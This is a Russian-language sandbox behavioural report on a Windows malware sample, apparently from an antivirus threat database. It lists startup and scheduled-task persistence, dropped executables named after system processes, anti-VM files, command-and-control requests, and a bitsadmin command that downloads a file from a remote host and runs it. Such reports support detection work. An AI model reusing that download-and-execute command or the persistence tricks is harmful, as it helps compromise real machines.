Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- <SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
- <SYSTEM32>\tasks\25fchp2u
- <SYSTEM32>\tasks\obdn2ogu
- <SYSTEM32>\tasks\htkvi1vr
- <SYSTEM32>\tasks\uyccrrdc
- <SYSTEM32>\tasks\lueujufg
- <SYSTEM32>\tasks\22acz4hu
- <SYSTEM32>\tasks\jyksp431
- <SYSTEM32>\tasks\upcip43v
- <SYSTEM32>\tasks\m3hvbfsj
- <SYSTEM32>\tasks\umsx5h5b
Вредоносные функции
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer 8 /download http://cn####8.tmweb.ru/win.exe %temp%\Gd.Exe&%temp%\Gd.Exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\bit7fc6.tmp
- %ProgramFiles(x86)%\steam\package\csrss.exe
- %TEMP%\bby40ae0.0.cs
- %TEMP%\bby40ae0.cmdline
- %TEMP%\bby40ae0.out
- C:\totalcmd\language\csc19fd.tmp
- %TEMP%\res19fe.tmp
- C:\totalcmd\language\idle.exe
- %TEMP%\oatr2jqh.0.cs
- %TEMP%\oatr2jqh.cmdline
- %TEMP%\oatr2jqh.out
- %TEMP%\ganwgaee.0.cs
- %TEMP%\ganwgaee.cmdline
- %PROGRAMDATA%\application data\o2hnuwyt\win.exe
- %TEMP%\ganwgaee.out
- %TEMP%\2eypksfk.cmdline
- %TEMP%\2eypksfk.out
- %TEMP%\mp2lhxjz.0.cs
- %TEMP%\mp2lhxjz.cmdline
- %TEMP%\mp2lhxjz.out
- C:\documents and settings\csc2b33.tmp
- %TEMP%\res2b34.tmp
- C:\documents and settings\dwm.exe
- %TEMP%\0cyzjmt4.0.cs
- %TEMP%\0cyzjmt4.cmdline
- %TEMP%\0cyzjmt4.out
- %WINDIR%\pla\reports\en-us\csc30d1.tmp
- %ProgramFiles(x86)%\steam\package\csc1431.tmp
- %TEMP%\res1432.tmp
- %TEMP%\0gh2tgbu.out
- %TEMP%\0gh2tgbu.cmdline
- %TEMP%\0gh2tgbu.0.cs
- %APPDATA%\windows\kflcvzowkeltk7lnus4gefljbkyqfc.vbs
- %APPDATA%\windows\ackoe5dwyc1cs4h8tdxnrmvatoalif.bat
- %APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\dclib\antivm.dclib
- %APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %APPDATA%\windows\o13ytfj05pxgmhomy4qn0w9tjz52tk.bat
- %APPDATA%\windows\vmcheck32.dll
- %APPDATA%\windows\win.exe
- %APPDATA%\windows\system.vbe
- %APPDATA%\windows\system.lnk
- %TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %TEMP%\dclib\antivm.dclib
- %TEMP%\res30d2.tmp
- %TEMP%\2eypksfk.0.cs
- %TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %TEMP%\tmyjgptq.0.cs
- %TEMP%\tmyjgptq.cmdline
- %TEMP%\tmyjgptq.out
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\csc358.tmp
- %TEMP%\res369.tmp
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\cmd.exe
- %TEMP%\ugn0vgls.0.cs
- %TEMP%\ugn0vgls.cmdline
- %TEMP%\ugn0vgls.out
- %TEMP%\rrvb4oj1.0.cs
- %TEMP%\rrvb4oj1.cmdline
- %TEMP%\rrvb4oj1.out
- %APPDATA%\windows\zq7znnl2v3vhye2kfoqb.exe
- %PROGRAMDATA%\application data\o2hnuwyt\vmcheck32.dll
- %WINDIR%\pla\reports\en-us\wudfhost.exe
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\bit7fc6.tmp
Удаляет следующие файлы
- %TEMP%\res369.tmp
- %TEMP%\oatr2jqh.0.cs
- %TEMP%\ganwgaee.0.cs
- %TEMP%\ganwgaee.cmdline
- %TEMP%\ganwgaee.out
- %TEMP%\2eypksfk.out
- %TEMP%\2eypksfk.0.cs
- %TEMP%\oatr2jqh.out
- %TEMP%\oatr2jqh.cmdline
- %TEMP%\2eypksfk.cmdline
- %TEMP%\mp2lhxjz.cmdline
- %TEMP%\mp2lhxjz.0.cs
- %TEMP%\mp2lhxjz.out
- %TEMP%\res30d2.tmp
- %WINDIR%\pla\reports\en-us\csc30d1.tmp
- %TEMP%\0cyzjmt4.out
- %TEMP%\res2b34.tmp
- C:\documents and settings\csc2b33.tmp
- %TEMP%\bby40ae0.cmdline
- %TEMP%\bby40ae0.0.cs
- %TEMP%\bby40ae0.out
- %TEMP%\tmyjgptq.out
- %TEMP%\tmyjgptq.cmdline
- %TEMP%\tmyjgptq.0.cs
- %TEMP%\ugn0vgls.out
- %TEMP%\ugn0vgls.cmdline
- %TEMP%\ugn0vgls.0.cs
- %TEMP%\rrvb4oj1.cmdline
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\csc358.tmp
- %TEMP%\rrvb4oj1.out
- %TEMP%\res1432.tmp
- %ProgramFiles(x86)%\steam\package\csc1431.tmp
- %TEMP%\0gh2tgbu.out
- %TEMP%\0gh2tgbu.0.cs
- %TEMP%\0gh2tgbu.cmdline
- %TEMP%\res19fe.tmp
- C:\totalcmd\language\csc19fd.tmp
- %TEMP%\rrvb4oj1.0.cs
- %TEMP%\0cyzjmt4.cmdline
- %TEMP%\0cyzjmt4.0.cs
Перемещает следующие файлы
- %TEMP%\bit7fc6.tmp в %TEMP%\gd.exe
Сетевая активность
TCP
Запросы HTTP GET
- http://cn####8.tmweb.ru/win.exe
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
- http://ip##fo.io/ip
UDP
- DNS ASK cn####8.tmweb.ru
- DNS ASK ip##fo.io
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\pla\reports\en-us\wudfhost.exe'
- '%APPDATA%\windows\zq7znnl2v3vhye2kfoqb.exe' -p4bac005cb50e83a3d4334e90ad68657488b363e5
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\kFlcvZowKeltk7LnUS4geFLjbKYQfc.vbs"
- 'C:\totalcmd\language\idle.exe'
- '%ProgramFiles(x86)%\steam\package\csrss.exe'
- '%TEMP%\gd.exe'
- 'C:\documents and settings\dwm.exe'
- '%APPDATA%\windows\win.exe'
- 'C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\cmd.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES19FE.tmp" "c:\totalcmd\LANGUAGE\CSC19FD.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oatr2jqh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ganwgaee.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2B34.tmp" "c:\Documents and Settings\CSC2B33.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bby40ae0.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0cyzjmt4.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2eypksfk.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mp2lhxjz.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tmyjgptq.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rrvb4oj1.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ugn0vgls.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES369.tmp" "c:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\1033\CSC358.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0gh2tgbu.cmdline"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\o13yTFj05PxgMHOmy4qn0W9Tjz52tk.bat" "' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\aCKoe5Dwyc1cS4H8TDXnrMVatOaLIF.bat" "' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES30D2.tmp" "%WINDIR%\PLA\Reports\en-US\CSC30D1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1432.tmp" "%ProgramFiles(x86)%\Steam\package\CSC1431.tmp"' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c bitsadmin /transfer 8 /download http://cn####8.tmweb.ru/win.exe %temp%\Gd.Exe&%temp%\Gd.Exe' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2B34.tmp" "c:\Documents and Settings\CSC2B33.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mp2lhxjz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2eypksfk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ganwgaee.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\oatr2jqh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES19FE.tmp" "c:\totalcmd\LANGUAGE\CSC19FD.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bby40ae0.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0cyzjmt4.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1432.tmp" "%ProgramFiles(x86)%\Steam\package\CSC1431.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rrvb4oj1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ugn0vgls.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES369.tmp" "c:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\1033\CSC358.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tmyjgptq.cmdline"
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\o13yTFj05PxgMHOmy4qn0W9Tjz52tk.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\aCKoe5Dwyc1cS4H8TDXnrMVatOaLIF.bat" "
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 /download http://cn####8.tmweb.ru/win.exe %TEMP%\Gd.Exe
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\0gh2tgbu.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES30D2.tmp" "%WINDIR%\PLA\Reports\en-US\CSC30D1.tmp"
